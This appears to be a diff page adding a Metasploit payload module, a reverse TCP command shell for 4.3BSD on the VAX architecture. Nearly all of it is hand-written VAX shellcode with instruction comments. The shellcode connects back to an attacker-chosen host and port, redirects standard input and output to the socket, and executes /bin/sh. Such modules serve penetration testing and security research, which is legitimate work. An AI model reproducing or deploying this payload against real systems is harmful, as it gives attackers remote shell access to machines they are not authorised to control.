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Add 4.3BSD VAX reverse command shell payload
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| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
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| module MetasploitModule | ||
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| CachedSize = 103 | ||
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| # This is so one-off that we define it here | ||
| ARCH_VAX = 'vax' | ||
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| include Msf::Payload::Single | ||
| include Msf::Sessions::CommandShellOptions | ||
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| def initialize(info = {}) | ||
| super(merge_info(info, | ||
| 'Name' => 'BSD Command Shell, Reverse TCP Inline', | ||
| 'Description' => 'Connect back to attacker and spawn a command shell', | ||
| 'Author' => 'wvu', | ||
| 'License' => MSF_LICENSE, | ||
| 'Platform' => 'bsd', | ||
| 'Arch' => ARCH_VAX, | ||
| 'Handler' => Msf::Handler::ReverseTcp, | ||
| 'Session' => Msf::Sessions::CommandShellUnix, | ||
| 'Payload' => { | ||
| 'Offsets' => { | ||
| 'LHOST' => [24, 'ADDR'], | ||
| 'LPORT' => [32, 'n'] | ||
| }, | ||
| 'Payload' => | ||
| "\xdd\x00" + # pushl $0 | ||
| "\xdd\x01" + # pushl $1 | ||
| "\xdd\x02" + # pushl $2 | ||
| "\xdd\x03" + # pushl $3 | ||
| "\xd0\x5e\x5c" + # movl sp,ap | ||
| "\xbc\x8f\x61\x00" + # chmk $61 | ||
| "\xd0\x50\x5a" + # movl r0,r10 | ||
| "\xdd\x00" + # pushl $0 | ||
| "\xdd\x00" + # pushl $0 | ||
| "\xdd\x8f\x00\x00\x00\x00" + # pushl LHOST | ||
| "\xdd\x8f\x02\x00\x00\x00" + # pushl AF_INET + LPORT | ||
| "\xd0\x5e\x5b" + # movl sp,r11 | ||
| "\xdd\x10" + # pushl $10 | ||
| "\xdd\x5b" + # pushl r11 | ||
| "\xdd\x5a" + # pushl r10 | ||
| "\xdd\x03" + # pushl $3 | ||
| "\xd0\x5e\x5c" + # movl sp,ap | ||
| "\xbc\x8f\x62\x00" + # chmk $62 | ||
| "\xd0\x00\x5b" + # movl $0,r11 | ||
| "\xdd\x5b" + # pushl r11 | ||
| "\xdd\x5a" + # pushl r10 | ||
| "\xdd\x02" + # pushl $2 | ||
| "\xd0\x5e\x5c" + # movl sp,ap | ||
| "\xbc\x8f\x5a\x00" + # chmk $5a | ||
| "\xd6\x5b" + # incl r11 | ||
| "\xd1\x5b\x02" + # cmpl r11,$2 | ||
| "\x15\xec" + # bleq dup2 | ||
| "\xdd\x8f\x2f\x73\x68\x00" + # pushl $68732f | ||
| "\xdd\x8f\x2f\x62\x69\x6e" + # pushl $6e69622f | ||
| "\xd0\x5e\x5b" + # movl sp,r11 | ||
| "\xdd\x00" + # pushl $0 | ||
| "\xdd\x00" + # pushl $0 | ||
| "\xdd\x5b" + # pushl r11 | ||
| "\xdd\x03" + # pushl $3 | ||
| "\xd0\x5e\x5c" + # movl sp,ap | ||
| "\xbc\x3b" # chmk $3b | ||
| } | ||
| )) | ||
| end | ||
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| end |